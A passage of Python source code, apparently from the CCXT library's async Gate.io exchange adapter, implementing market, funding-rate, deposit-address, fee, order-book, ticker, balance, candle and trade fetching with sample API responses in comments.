self.parse_number(Precise.string_div(makerPercent, '100')), 'contractSize': self.safe_number(market, 'quanto_multiplier'), 'expiry': expiry, 'expiryDatetime': self.iso8601(expiry), 'strike': None, 'optionType': None, 'precision': { 'amount': self.parse_number('1'), 'price': self.safe_number(market, 'order_price_round'), }, 'limits': { 'leverage': { 'min': self.safe_number(market, 'leverage_min'), 'max': self.safe_number(market, 'leverage_max'), }, 'amount': { 'min': self.safe_number(market, 'order_size_min'), 'max': self.safe_number(market, 'order_size_max'), }, 'price': { 'min': self.parse_number(minPrice), 'max': self.parse_number(maxPrice), }, 'cost': { 'min': None, 'max': None, }, }, 'info': market, } async def fetch_option_markets(self, params={}): result = [] underlyings = await self.fetch_option_underlyings() for i in range(0, len(underlyings)): underlying = underlyings[i] query = params query['underlying'] = underlying response = await self.publicOptionsGetContracts(query) for i in range(0, len(response)): market = response[i] id = self.safe_string(market, 'name') parts = underlying.split('_') baseId = self.safe_string(parts, 0) quoteId = self.safe_string(parts, 1) base = self.safe_currency_code(baseId) quote = self.safe_currency_code(quoteId) symbol = base + '/' + quote expiry = self.safe_timestamp(market, 'expiration_time') strike = self.safe_string(market, 'strike_price') isCall = self.safe_value(market, 'is_call') optionLetter = 'C' if isCall else 'P' optionType = 'call' if isCall else 'put' symbol = symbol + ':' + quote + '-' + self.yymmdd(expiry) + ':' + strike + ':' + optionLetter priceDeviate = self.safe_string(market, 'order_price_deviate') markPrice = self.safe_string(market, 'mark_price') minMultiplier = Precise.string_sub('1', priceDeviate) maxMultiplier = Precise.string_add('1', priceDeviate) minPrice = Precise.string_mul(minMultiplier, markPrice) maxPrice = Precise.string_mul(maxMultiplier, markPrice) takerPercent = self.safe_string(market, 'taker_fee_rate') makerPercent = self.safe_string(market, 'maker_fee_rate', takerPercent) result.append({ 'id': id, 'symbol': symbol, 'base': base, 'quote': quote, 'settle': quote, 'baseId': baseId, 'quoteId': quoteId, 'settleId': quoteId, 'type': 'option', 'spot': False, 'margin': False, 'swap': False, 'future': False, 'option': True, 'active': True, 'contract': True, 'linear': True, 'inverse': False, 'taker': self.parse_number(Precise.string_div(takerPercent, '100')), 'maker': self.parse_number(Precise.string_div(makerPercent, '100')), 'contractSize': self.parse_number('1'), 'expiry': expiry, 'expiryDatetime': self.iso8601(expiry), 'strike': strike, 'optionType': optionType, 'precision': { 'amount': self.parse_number('1'), 'price': self.safe_number(market, 'order_price_round'), }, 'limits': { 'leverage': { 'min': None, 'max': None, }, 'amount': { 'min': self.safe_number(market, 'order_size_min'), 'max': self.safe_number(market, 'order_size_max'), }, 'price': { 'min': self.parse_number(minPrice), 'max': self.parse_number(maxPrice), }, 'cost': { 'min': None, 'max': None, }, }, 'info': market, }) return result async def fetch_option_underlyings(self): underlyingsResponse = await self.publicOptionsGetUnderlyings() underlyings = [] for i in range(0, len(underlyingsResponse)): underlying = underlyingsResponse[i] name = self.safe_string(underlying, 'name') if name is not None: underlyings.append(name) return underlyings def prepare_request(self, market=None, type=None, params={}): request = {} if market is not None: if market['contract']: request['contract'] = market['id'] request['settle'] = market['settleId'] else: request['currency_pair'] = market['id'] else: swap = type == 'swap' future = type == 'future' if swap or future: defaultSettle = 'usdt' if swap else 'btc' settle = self.safe_string_lower(params, 'settle', defaultSettle) params = self.omit(params, 'settle') request['settle'] = settle return [request, params] def spot_order_prepare_request(self, market=None, stop=False, params={}): marginMode, query = self.get_margin_mode(stop, params) request = {} if not stop: if market is None: raise ArgumentsRequired(self.id + ' spotOrderPrepareRequest() requires a market argument for non-stop orders') request['account'] = marginMode request['currency_pair'] = market['id'] return [request, query] def multi_order_spot_prepare_request(self, market=None, stop=False, params={}): marginMode, query = self.get_margin_mode(stop, params) request = { 'account': marginMode, } if market is not None: if stop: request['market'] = market['id'] else: request['currency_pair'] = market['id'] return [request, query] def get_margin_mode(self, stop, params): defaultMarginMode = self.safe_string_lower_2(self.options, 'defaultMarginMode', 'marginMode', 'spot') marginMode = self.safe_string_lower_2(params, 'marginMode', 'account', defaultMarginMode) params = self.omit(params, ['marginMode', 'account']) if marginMode == 'cross': marginMode = 'cross_margin' elif marginMode == 'isolated': marginMode = 'margin' elif marginMode == '': marginMode = 'spot' if stop: if marginMode == 'spot': # gateio spot stop orders use the term normal instead of spot marginMode = 'normal' if marginMode == 'cross_margin': raise BadRequest(self.id + ' getMarginMode() does not support stop orders for cross margin') return [marginMode, params] def get_settlement_currencies(self, type, method): options = self.safe_value(self.options, type, {}) # ['BTC', 'USDT'] unified codes fetchMarketsContractOptions = self.safe_value(options, method, {}) defaultSettle = ['usdt'] if (type == 'swap') else ['btc'] return self.safe_value(fetchMarketsContractOptions, 'settlementCurrencies', defaultSettle) async def fetch_currencies(self, params={}): # sandbox/testnet only supports future markets apiBackup = self.safe_value(self.urls, 'apiBackup') if apiBackup is not None: return None response = await self.publicSpotGetCurrencies(params) # # { # "currency": "BCN", # "delisted": False, # "withdraw_disabled": True, # "withdraw_delayed": False, # "deposit_disabled": True, # "trade_disabled": False # } # result = {} # TODO: remove magic constants amountPrecision = self.parse_number('1e-6') for i in range(0, len(response)): entry = response[i] currencyId = self.safe_string(entry, 'currency') currencyIdLower = self.safe_string_lower(entry, 'currency') code = self.safe_currency_code(currencyId) delisted = self.safe_value(entry, 'delisted') withdrawDisabled = self.safe_value(entry, 'withdraw_disabled', False) depositDisabled = self.safe_value(entry, 'deposit_disabled', False) tradeDisabled = self.safe_value(entry, 'trade_disabled', False) withdrawEnabled = not withdrawDisabled depositEnabled = not depositDisabled tradeEnabled = not tradeDisabled listed = not delisted active = listed and tradeEnabled and withdrawEnabled and depositEnabled result[code] = { 'id': currencyId, 'lowerCaseId': currencyIdLower, 'name': None, 'code': code, 'precision': amountPrecision, 'info': entry, 'active': active, 'deposit': depositEnabled, 'withdraw': withdrawEnabled, 'fee': None, 'fees': [], 'limits': self.limits, } return result async def fetch_funding_rate(self, symbol, params={}): await self.load_markets() market = self.market(symbol) if not market['swap']: raise BadSymbol(self.id + ' fetchFundingRate() supports swap contracts only') request, query = self.prepare_request(market, None, params) response = await self.publicFuturesGetSettleContractsContract(self.extend(request, query)) # # [ # { # "name": "BTC_USDT", # "type": "direct", # "quanto_multiplier": "0.0001", # "ref_discount_rate": "0", # "order_price_deviate": "0.5", # "maintenance_rate": "0.005", # "mark_type": "index", # "last_price": "38026", # "mark_price": "37985.6", # "index_price": "37954.92", # "funding_rate_indicative": "0.000219", # "mark_price_round": "0.01", # "funding_offset": 0, # "in_delisting": False, # "risk_limit_base": "1000000", # "interest_rate": "0.0003", # "order_price_round": "0.1", # "order_size_min": 1, # "ref_rebate_rate": "0.2", # "funding_interval": 28800, # "risk_limit_step": "1000000", # "leverage_min": "1", # "leverage_max": "100", # "risk_limit_max": "8000000", # "maker_fee_rate": "-0.00025", # "taker_fee_rate": "0.00075", # "funding_rate": "0.002053", # "order_size_max": 1000000, # "funding_next_apply": 1610035200, # "short_users": 977, # "config_change_time": 1609899548, # "trade_size": 28530850594, # "position_size": 5223816, # "long_users": 455, # "funding_impact_value": "60000", # "orders_limit": 50, # "trade_id": 10851092, # "orderbook_id": 2129638396 # } # ] # return self.parse_funding_rate(response) async def fetch_funding_rates(self, symbols=None, params={}): await self.load_markets() request, query = self.prepare_request(None, 'swap', params) response = await self.publicFuturesGetSettleContracts(self.extend(request, query)) # # [ # { # "name": "BTC_USDT", # "type": "direct", # "quanto_multiplier": "0.0001", # "ref_discount_rate": "0", # "order_price_deviate": "0.5", # "maintenance_rate": "0.005", # "mark_type": "index", # "last_price": "38026", # "mark_price": "37985.6", # "index_price": "37954.92", # "funding_rate_indicative": "0.000219", # "mark_price_round": "0.01", # "funding_offset": 0, # "in_delisting": False, # "risk_limit_base": "1000000", # "interest_rate": "0.0003", # "order_price_round": "0.1", # "order_size_min": 1, # "ref_rebate_rate": "0.2", # "funding_interval": 28800, # "risk_limit_step": "1000000", # "leverage_min": "1", # "leverage_max": "100", # "risk_limit_max": "8000000", # "maker_fee_rate": "-0.00025", # "taker_fee_rate": "0.00075", # "funding_rate": "0.002053", # "order_size_max": 1000000, # "funding_next_apply": 1610035200, # "short_users": 977, # "config_change_time": 1609899548, # "trade_size": 28530850594, # "position_size": 5223816, # "long_users": 455, # "funding_impact_value": "60000", # "orders_limit": 50, # "trade_id": 10851092, # "orderbook_id": 2129638396 # } # ] # result = self.parse_funding_rates(response) return self.filter_by_array(result, 'symbol', symbols) def parse_funding_rate(self, contract, market=None): # # { # "name": "BTC_USDT", # "type": "direct", # "quanto_multiplier": "0.0001", # "ref_discount_rate": "0", # "order_price_deviate": "0.5", # "maintenance_rate": "0.005", # "mark_type": "index", # "last_price": "38026", # "mark_price": "37985.6", # "index_price": "37954.92", # "funding_rate_indicative": "0.000219", # "mark_price_round": "0.01", # "funding_offset": 0, # "in_delisting": False, # "risk_limit_base": "1000000", # "interest_rate": "0.0003", # "order_price_round": "0.1", # "order_size_min": 1, # "ref_rebate_rate": "0.2", # "funding_interval": 28800, # "risk_limit_step": "1000000", # "leverage_min": "1", # "leverage_max": "100", # "risk_limit_max": "8000000", # "maker_fee_rate": "-0.00025", # "taker_fee_rate": "0.00075", # "funding_rate": "0.002053", # "order_size_max": 1000000, # "funding_next_apply": 1610035200, # "short_users": 977, # "config_change_time": 1609899548, # "trade_size": 28530850594, # "position_size": 5223816, # "long_users": 455, # "funding_impact_value": "60000", # "orders_limit": 50, # "trade_id": 10851092, # "orderbook_id": 2129638396 # } # marketId = self.safe_string(contract, 'name') symbol = self.safe_symbol(marketId, market) markPrice = self.safe_number(contract, 'mark_price') indexPrice = self.safe_number(contract, 'index_price') interestRate = self.safe_number(contract, 'interest_rate') fundingRate = self.safe_number(contract, 'funding_rate') fundingTime = self.safe_integer(contract, 'funding_next_apply') * 1000 fundingRateIndicative = self.safe_number(contract, 'funding_rate_indicative') return { 'info': contract, 'symbol': symbol, 'markPrice': markPrice, 'indexPrice': indexPrice, 'interestRate': interestRate, 'estimatedSettlePrice': None, 'timestamp': None, 'datetime': None, 'fundingRate': fundingRate, 'fundingTimestamp': fundingTime, 'fundingDatetime': self.iso8601(fundingTime), 'nextFundingRate': fundingRateIndicative, 'nextFundingTimestamp': None, 'nextFundingDatetime': None, 'previousFundingRate': None, 'previousFundingTimestamp': None, 'previousFundingDatetime': None, } async def fetch_network_deposit_address(self, code, params={}): await self.load_markets() currency = self.currency(code) request = { 'currency': currency['id'], } response = await self.privateWalletGetDepositAddress(self.extend(request, params)) addresses = self.safe_value(response, 'multichain_addresses') currencyId = self.safe_string(response, 'currency') code = self.safe_currency_code(currencyId) result = {} for i in range(0, len(addresses)): entry = addresses[i] # # { # "chain": "ETH", # "address": "0x359a697945E79C7e17b634675BD73B33324E9408", # "payment_id": "", # "payment_name": "", # "obtain_failed": "0" # } # obtainFailed = self.safe_integer(entry, 'obtain_failed') if obtainFailed: continue network = self.safe_string(entry, 'chain') address = self.safe_string(entry, 'address') tag = self.safe_string(entry, 'payment_id') tagLength = len(tag) tag = tag if tagLength else None result[network] = { 'info': entry, 'code': code, 'address': address, 'tag': tag, } return result async def fetch_deposit_address(self, code, params={}): await self.load_markets() currency = self.currency(code) request = { 'currency': currency['id'], } response = await self.privateWalletGetDepositAddress(self.extend(request, params)) # # { # "currency": "XRP", # "address": "rHcFoo6a9qT5NHiVn1THQRhsEGcxtYCV4d 391331007", # "multichain_addresses": [ # { # "chain": "XRP", # "address": "rHcFoo6a9qT5NHiVn1THQRhsEGcxtYCV4d", # "payment_id": "391331007", # "payment_name": "Tag", # "obtain_failed": 0 # } # ] # } # currencyId = self.safe_string(response, 'currency') code = self.safe_currency_code(currencyId) addressField = self.safe_string(response, 'address') tag = None address = None if addressField.find(' ') >= 0: splitted = addressField.split(' ') address = splitted[0] tag = splitted[1] else: address = addressField return { 'info': response, 'code': code, 'address': address, 'tag': tag, 'network': None, } async def fetch_trading_fee(self, symbol, params={}): await self.load_markets() market = self.market(symbol) request = { 'currency_pair': market['id'], } response = await self.privateWalletGetFee(self.extend(request, params)) # # { # "user_id": 1486602, # "taker_fee": "0.002", # "maker_fee": "0.002", # "gt_discount": True, # "gt_taker_fee": "0.0015", # "gt_maker_fee": "0.0015", # "loan_fee": "0.18", # "point_type": "0", # "futures_taker_fee": "0.0005", # "futures_maker_fee": "0" # } # return self.parse_trading_fee(response, market) async def fetch_trading_fees(self, params={}): await self.load_markets() response = await self.privateWalletGetFee(params) # # { # "user_id": 1486602, # "taker_fee": "0.002", # "maker_fee": "0.002", # "gt_discount": True, # "gt_taker_fee": "0.0015", # "gt_maker_fee": "0.0015", # "loan_fee": "0.18", # "point_type": "0", # "futures_taker_fee": "0.0005", # "futures_maker_fee": "0" # } # return self.parse_trading_fees(response) def parse_trading_fees(self, response): result = {} for i in range(0, len(self.symbols)): symbol = self.symbols[i] market = self.market(symbol) result[symbol] = self.parse_trading_fee(response, market) return result def parse_trading_fee(self, info, market=None): # # { # "user_id": 1486602, # "taker_fee": "0.002", # "maker_fee": "0.002", # "gt_discount": True, # "gt_taker_fee": "0.0015", # "gt_maker_fee": "0.0015", # "loan_fee": "0.18", # "point_type": "0", # "futures_taker_fee": "0.0005", # "futures_maker_fee": "0" # } # contract = self.safe_value(market, 'contract') takerKey = 'futures_taker_fee' if contract else 'taker_fee' makerKey = 'futures_maker_fee' if contract else 'maker_fee' return { 'info': info, 'symbol': self.safe_string(market, 'symbol'), 'maker': self.safe_number(info, makerKey), 'taker': self.safe_number(info, takerKey), } async def fetch_transaction_fees(self, codes=None, params={}): await self.load_markets() response = await self.privateWalletGetWithdrawStatus(params) # # { # "currency": "MTN", # "name": "Medicalchain", # "name_cn": "Medicalchain", # "deposit": "0", # "withdraw_percent": "0%", # "withdraw_fix": "900", # "withdraw_day_limit": "500000", # "withdraw_day_limit_remain": "500000", # "withdraw_amount_mini": "900.1", # "withdraw_eachtime_limit": "90000000000", # "withdraw_fix_on_chains": { # "ETH": "900" # } # } # withdrawFees = {} for i in range(0, len(response)): entry = response[i] currencyId = self.safe_string(entry, 'currency') code = self.safe_currency_code(currencyId) withdrawFees[code] = {} withdrawFix = self.safe_value(entry, 'withdraw_fix_on_chains') if withdrawFix is None: withdrawFix = {} withdrawFix[code] = self.safe_number(entry, 'withdraw_fix') keys = list(withdrawFix.keys()) for i in range(0, len(keys)): key = keys[i] withdrawFees[code][key] = self.parse_number(withdrawFix[key]) return { 'info': response, 'withdraw': withdrawFees, 'deposit': {}, } async def fetch_funding_history(self, symbol=None, since=None, limit=None, params={}): await self.load_markets() # defaultType = 'future' market = None if symbol is not None: market = self.market(symbol) type, query = self.handle_market_type_and_params('fetchFundingHistory', market, params) request, requestParams = self.prepare_request(market, type, query) request['type'] = 'fund' # 'dnw' 'pnl' 'fee' 'refr' 'fund' 'point_dnw' 'point_fee' 'point_refr' if since is not None: request['from'] = since / 1000 if limit is not None: request['limit'] = limit method = self.get_supported_mapping(type, { 'swap': 'privateFuturesGetSettleAccountBook', 'future': 'privateDeliveryGetSettleAccountBook', }) response = await getattr(self, method)(self.extend(request, requestParams)) # # [ # { # "time": 1646899200, # "change": "-0.027722", # "balance": "11.653120591841", # "text": "XRP_USDT", # "type": "fund" # }, # ... # ] # return self.parse_funding_histories(response, symbol, since, limit) def parse_funding_histories(self, response, symbol, since, limit): result = [] for i in range(0, len(response)): entry = response[i] funding = self.parse_funding_history(entry) result.append(funding) sorted = self.sort_by(result, 'timestamp') return self.filter_by_symbol_since_limit(sorted, symbol, since, limit) def parse_funding_history(self, info, market=None): # # { # "time": 1646899200, # "change": "-0.027722", # "balance": "11.653120591841", # "text": "XRP_USDT", # "type": "fund" # } # timestamp = self.safe_timestamp(info, 'time') marketId = self.safe_string(info, 'text') market = self.safe_market(marketId, market) return { 'info': info, 'symbol': self.safe_string(market, 'symbol'), 'code': self.safe_string(market, 'settle'), 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'id': None, 'amount': self.safe_number(info, 'change'), } async def fetch_order_book(self, symbol, limit=None, params={}): await self.load_markets() market = self.market(symbol) # # request = { # 'currency_pair': market['id'], # 'interval': '0', # depth, 0 means no aggregation is applied, default to 0 # 'limit': limit, # maximum number of order depth data in asks or bids # 'with_id': True, # return order book ID # } # request, query = self.prepare_request(market, None, params) method = self.get_supported_mapping(market['type'], { 'spot': 'publicSpotGetOrderBook', 'margin': 'publicSpotGetOrderBook', 'swap': 'publicFuturesGetSettleOrderBook', 'future': 'publicDeliveryGetSettleOrderBook', }) if limit is not None: request['limit'] = limit # default 10, max 100 request['with_id'] = True response = await getattr(self, method)(self.extend(request, query)) # # SPOT # # { # "id": 6358770031 # "current": 1634345973275, # "update": 1634345973271, # "asks": [ # ["2.2241","12449.827"], # ["2.2242","200"], # ["2.2244","826.931"], # ["2.2248","3876.107"], # ["2.225","2377.252"], # ["2.22509","439.484"], # ["2.2251","1489.313"], # ["2.2253","714.582"], # ["2.2254","1349.784"], # ["2.2256","234.701"]], # "bids": [ # ["2.2236","32.465"], # ["2.2232","243.983"], # ["2.2231","32.207"], # ["2.223","449.827"], # ["2.2228","7.918"], # ["2.2227","12703.482"], # ["2.2226","143.033"], # ["2.2225","143.027"], # ["2.2224","1369.352"], # ["2.2223","756.063"] # ] # } # # Perpetual Swap # # { # "id": 6358770031 # "current": 1634350208.745, # "asks": [ # {"s": 24909, "p": "61264.8"}, # {"s": 81, "p": "61266.6"}, # {"s": 2000, "p": "61267.6"}, # {"s": 490, "p": "61270.2"}, # {"s": 12, "p": "61270.4"}, # {"s": 11782, "p": "61273.2"}, # {"s": 14666, "p": "61273.3"}, # {"s": 22541, "p": "61273.4"}, # {"s": 33, "p": "61273.6"}, # {"s": 11980, "p": "61274.5"} # ], # "bids": [ # {"s": 41844, "p": "61264.7"}, # {"s": 13783, "p": "61263.3"}, # {"s": 1143, "p": "61259.8"}, # {"s": 81, "p": "61258.7"}, # {"s": 2471, "p": "61257.8"}, # {"s": 2471, "p": "61257.7"}, # {"s": 2471, "p": "61256.5"}, # {"s": 3, "p": "61254.2"}, # {"s": 114, "p": "61252.4"}, # {"s": 14372, "p": "61248.6"} # ], # "update": 1634350208.724 # } # timestamp = self.safe_integer(response, 'current') if not market['spot']: timestamp = timestamp * 1000 priceKey = 0 if market['spot'] else 'p' amountKey = 1 if market['spot'] else 's' nonce = self.safe_integer(response, 'id') result = self.parse_order_book(response, symbol, timestamp, 'bids', 'asks', priceKey, amountKey) result['nonce'] = nonce return result async def fetch_ticker(self, symbol, params={}): await self.load_markets() market = self.market(symbol) request, query = self.prepare_request(market, None, params) method = self.get_supported_mapping(market['type'], { 'spot': 'publicSpotGetTickers', 'margin': 'publicSpotGetTickers', 'swap': 'publicFuturesGetSettleTickers', 'future': 'publicDeliveryGetSettleTickers', }) response = await getattr(self, method)(self.extend(request, query)) ticker = self.safe_value(response, 0) return self.parse_ticker(ticker, market) def parse_ticker(self, ticker, market=None): # # SPOT # # { # "currency_pair": "KFC_USDT", # "last": "7.255", # "lowest_ask": "7.298", # "highest_bid": "7.218", # "change_percentage": "-1.18", # "base_volume": "1219.053687865", # "quote_volume": "8807.40299875455", # "high_24h": "7.262", # "low_24h": "7.095" # } # # LINEAR/DELIVERY # # { # "contract": "BTC_USDT", # "last": "6432", # "low_24h": "6278", # "high_24h": "6790", # "change_percentage": "4.43", # "total_size": "32323904", # "volume_24h": "184040233284", # "volume_24h_btc": "28613220", # "volume_24h_usd": "184040233284", # "volume_24h_base": "28613220", # "volume_24h_quote": "184040233284", # "volume_24h_settle": "28613220", # "mark_price": "6534", # "funding_rate": "0.0001", # "funding_rate_indicative": "0.0001", # "index_price": "6531" # } # marketId = self.safe_string_2(ticker, 'currency_pair', 'contract') symbol = self.safe_symbol(marketId, market) last = self.safe_string(ticker, 'last') ask = self.safe_string(ticker, 'lowest_ask') bid = self.safe_string(ticker, 'highest_bid') high = self.safe_string(ticker, 'high_24h') low = self.safe_string(ticker, 'low_24h') baseVolume = self.safe_string_2(ticker, 'base_volume', 'volume_24h_base') quoteVolume = self.safe_string_2(ticker, 'quote_volume', 'volume_24h_quote') percentage = self.safe_string(ticker, 'change_percentage') return self.safe_ticker({ 'symbol': symbol, 'timestamp': None, 'datetime': None, 'high': high, 'low': low, 'bid': bid, 'bidVolume': None, 'ask': ask, 'askVolume': None, 'vwap': None, 'open': None, 'close': last, 'last': last, 'previousClose': None, 'change': None, 'percentage': percentage, 'average': None, 'baseVolume': baseVolume, 'quoteVolume': quoteVolume, 'info': ticker, }, market, False) async def fetch_tickers(self, symbols=None, params={}): await self.load_markets() type, query = self.handle_market_type_and_params('fetchTickers', None, params) request, requestParams = self.prepare_request(None, type, query) method = self.get_supported_mapping(type, { 'spot': 'publicSpotGetTickers', 'margin': 'publicSpotGetTickers', 'swap': 'publicFuturesGetSettleTickers', 'future': 'publicDeliveryGetSettleTickers', }) response = await getattr(self, method)(self.extend(request, requestParams)) return self.parse_tickers(response, symbols) def fetch_balance_helper(self, entry): account = self.account() account['used'] = self.safe_string_2(entry, 'freeze', 'locked') account['free'] = self.safe_string(entry, 'available') account['total'] = self.safe_string(entry, 'total') return account async def fetch_balance(self, params={}): await self.load_markets() symbol = self.safe_string(params, 'symbol') params = self.omit(params, 'symbol') type, query = self.handle_market_type_and_params('fetchBalance', None, params) request, requestParams = self.prepare_request(None, type, query) marginMode, requestQuery = self.get_margin_mode(False, requestParams) if symbol is not None: market = self.market(symbol) request['currency_pair'] = market['id'] method = self.get_supported_mapping(type, { 'spot': self.get_supported_mapping(marginMode, { 'spot': 'privateSpotGetAccounts', 'margin': 'privateMarginGetAccounts', 'cross_margin': 'privateMarginGetCrossAccounts', }), 'funding': 'privateMarginGetFundingAccounts', 'swap': 'privateFuturesGetSettleAccounts', 'future': 'privateDeliveryGetSettleAccounts', }) response = await getattr(self, method)(self.extend(request, requestQuery)) contract = (type == 'swap' or type == 'future') if contract: response = [response] # # Spot / margin funding # # [ # { # "currency": "DBC", # "available": "0", # "locked": "0" # "lent": "0", # margin funding only # "total_lent": "0" # margin funding only # }, # ... # ] # # Margin # # [ # { # "currency_pair": "DOGE_USDT", # "locked": False, # "risk": "9999.99", # "base": { # "currency": "DOGE", # "available": "0", # "locked": "0", # "borrowed": "0", # "interest": "0" # }, # "quote": { # "currency": "USDT", # "available": "0.73402", # "locked": "0", # "borrowed": "0", # "interest": "0" # } # }, # ... # ] # # Cross margin # # { # "user_id": 10406147, # "locked": False, # "balances": { # "USDT": { # "available": "1", # "freeze": "0", # "borrowed": "0", # "interest": "0" # } # }, # "total": "1", # "borrowed": "0", # "interest": "0", # "risk": "9999.99" # } # # Perpetual Swap # # { # order_margin: "0", # point: "0", # bonus: "0", # history: { # dnw: "2.1321", # pnl: "11.5351", # refr: "0", # point_fee: "0", # fund: "-0.32340576684", # bonus_dnw: "0", # point_refr: "0", # bonus_offset: "0", # fee: "-0.20132775", # point_dnw: "0", # }, # unrealised_pnl: "13.315100000006", # total: "12.51345151332", # available: "0", # in_dual_mode: False, # currency: "USDT", # position_margin: "12.51345151332", # user: "6333333", # } # # Delivery Future # # { # order_margin: "0", # point: "0", # history: { # dnw: "1", # pnl: "0", # refr: "0", # point_fee: "0", # point_dnw: "0", # settle: "0", # settle_fee: "0", # point_refr: "0", # fee: "0", # }, # unrealised_pnl: "0", # total: "1", # available: "1", # currency: "USDT", # position_margin: "0", # user: "6333333", # } # result = { 'info': response, } crossMargin = marginMode == 'cross_margin' margin = marginMode == 'margin' data = response if 'balances' in data: # True for cross_margin flatBalances = [] balances = self.safe_value(data, 'balances', []) # inject currency and create an artificial balance object # so it can follow the existent flow keys = list(balances.keys()) for i in range(0, len(keys)): currencyId = keys[i] content = balances[currencyId] content['currency'] = currencyId flatBalances.append(content) data = flatBalances for i in range(0, len(data)): entry = data[i] if margin and not crossMargin: marketId = self.safe_string(entry, 'currency_pair') symbol = self.safe_symbol(marketId, None, '_') base = self.safe_value(entry, 'base', {}) quote = self.safe_value(entry, 'quote', {}) baseCode = self.safe_currency_code(self.safe_string(base, 'currency', {})) quoteCode = self.safe_currency_code(self.safe_string(quote, 'currency', {})) subResult = {} subResult[baseCode] = self.fetch_balance_helper(base) subResult[quoteCode] = self.fetch_balance_helper(quote) result[symbol] = self.safe_balance(subResult) else: code = self.safe_currency_code(self.safe_string(entry, 'currency', {})) result[code] = self.fetch_balance_helper(entry) return result if (margin and not crossMargin) else self.safe_balance(result) async def fetch_ohlcv(self, symbol, timeframe='1m', since=None, limit=None, params={}): await self.load_markets() market = self.market(symbol) price = self.safe_string(params, 'price') request = {} request, params = self.prepare_request(market, None, params) request['interval'] = self.timeframes[timeframe] method = 'publicSpotGetCandlesticks' if market['contract']: maxLimit = 1999 limit = maxLimit if (limit is None) else min(limit, maxLimit) if market['future']: method = 'publicDeliveryGetSettleCandlesticks' elif market['swap']: method = 'publicFuturesGetSettleCandlesticks' isMark = (price == 'mark') isIndex = (price == 'index') if isMark or isIndex: request['contract'] = price + '_' + market['id'] params = self.omit(params, 'price') else: maxLimit = 1000 limit = maxLimit if (limit is None) else min(limit, maxLimit) request['limit'] = limit if since is not None: duration = self.parse_timeframe(timeframe) request['from'] = int(since / 1000) toTimestamp = self.sum(request['from'], limit * duration - 1) currentTimestamp = self.seconds() request['to'] = min(toTimestamp, currentTimestamp) response = await getattr(self, method)(self.extend(request, params)) return self.parse_ohlcvs(response, market, timeframe, since, limit) async def fetch_mark_ohlcv(self, symbol, timeframe='1m', since=None, limit=None, params={}): request = { 'price': 'mark', } return await self.fetch_ohlcv(symbol, timeframe, since, limit, self.extend(request, params)) async def fetch_funding_rate_history(self, symbol=None, since=None, limit=None, params={}): if symbol is None: raise ArgumentsRequired(self.id + ' fetchFundingRateHistory() requires a symbol argument') await self.load_markets() market = self.market(symbol) if not market['swap']: raise BadSymbol(self.id + ' fetchFundingRateHistory() supports swap contracts only') request, query = self.prepare_request(market, None, params) if limit is not None: request['limit'] = limit method = 'publicFuturesGetSettleFundingRate' response = await getattr(self, method)(self.extend(request, query)) # # { # "r": "0.00063521", # "t": "1621267200000", # } # rates = [] for i in range(0, len(response)): entry = response[i] timestamp = self.safe_timestamp(entry, 't') rates.append({ 'info': entry, 'symbol': symbol, 'fundingRate': self.safe_number(entry, 'r'), 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), }) sorted = self.sort_by(rates, 'timestamp') return self.filter_by_symbol_since_limit(sorted, market['symbol'], since, limit) async def fetch_index_ohlcv(self, symbol, timeframe='1m', since=None, limit=None, params={}): request = { 'price': 'index', } return await self.fetch_ohlcv(symbol, timeframe, since, limit, self.extend(request, params)) def parse_ohlcv(self, ohlcv, market=None): # # Spot market candles # # [ # "1626163200", # Unix timestamp in seconds # "346711.933138181617", # Trading volume # "33165.23", # Close price # "33260", # Highest price # "33117.6", # Lowest price # "33184.47" # Open price # ] # # Mark and Index price candles # # { # "t":1632873600, # Unix timestamp in seconds # "o": "41025", # Open price # "h": "41882.17", # Highest price # "c": "41776.92", # Close price # "l": "40783.94" # Lowest price # } # if isinstance(ohlcv, list): return [ self.safe_timestamp(ohlcv, 0), # unix timestamp in seconds self.safe_number(ohlcv, 5), # open price self.safe_number(ohlcv, 3), # highest price self.safe_number(ohlcv, 4), # lowest price self.safe_number(ohlcv, 2), # close price self.safe_number(ohlcv, 1), # trading volume ] else: # Mark and Index price candles return [ self.safe_timestamp(ohlcv, 't'), # unix timestamp in seconds self.safe_number(ohlcv, 'o'), # open price self.safe_number(ohlcv, 'h'), # highest price self.safe_number(ohlcv, 'l'), # lowest price self.safe_number(ohlcv, 'c'), # close price self.safe_number(ohlcv, 'v'), # trading volume, None for mark or index price ] async def fetch_trades(self, symbol, since=None, limit=None, params={}): await self.load_markets() market = self.market(symbol) # # spot # # request = { # 'currency_pair': market['id'], # 'limit': limit, # maximum number of records to be returned in a single list # 'last_id': 'id', # specify list staring point using the id of last record in previous list-query results # 'reverse': False, # True to retrieve records where id is smaller than the specified last_id, False to retrieve records where id is larger than the specified last_id # } # # swap, future # # request = { # 'settle': market['settleId'], # 'contract': market['id'], # 'limit': limit, # maximum number of records to be returned in a single list # 'last_id': 'id', # specify list staring point using the id of last record in previous list-query results # 'from': since / 1000), # starting time in seconds, if not specified, to and limit will be used to limit response items # 'to': self.seconds(), # end time in seconds, default to current time # } # request, query = self.prepare_request(market, None, params) method = self.get_supported_mapping(market['type'], { 'spot': 'publicSpotGetTrades', 'margin': 'publicSpotGetTrades', 'swap': 'publicFuturesGetSettleTrades', 'future': 'publicDeliveryGetSettleTrades', }) if limit is not None: request['limit'] = limit # default 100, max 1000 if since is not None and (market['contract']): request['from'] = int(since / 1000) response = await getattr(self, method)(self.extend(request, query)) # # spot # # [ # { # id: "1852958144", # create_time: "1634673259", # create_time_ms: "1634673259378.105000", # currency_pair: "ADA_USDT", # side: "sell", # amount: "307.078", # price: "2.104", # } # ] # # perpetual swap # # [ # { # size: "2", # id: "2522911", # create_time_ms: "1634673380.182", # create_time: "1634673380.182", # contract: "ADA_USDT", # price: "2.10486", # } # ] # return self.parse_trades(response, market, since, limit) async def fetch_my_trades(self, symbol=None, since=None, limit=None, params={}): await self.load_markets() type = None marginMode = None request = {} market = self.market(symbol) if (symbol is not None) else None till = self.safe_number(params, 'till') params = self.omit(params, 'till') type, params = self.handle_market_type_and_params('fetchMyTrades', market, params) contract = (type == 'swap') or (type == 'future') if contract: request, params = self.prepare_request(market, type, params) else: if market is not None: request['currency_pair'] = market['id'] # Should always be set for non-stop marginMode, params = self.get_margin_mode(False, params) request['account'] = marginMode if limit is not None: request['limit'] = limit # default 100, max 1000 if since is not None: request['from'] = int(since / 1000) if till is not None: request['to'] = int(till / 1000) method = self.get_supported_mapping(type, { 'spot': 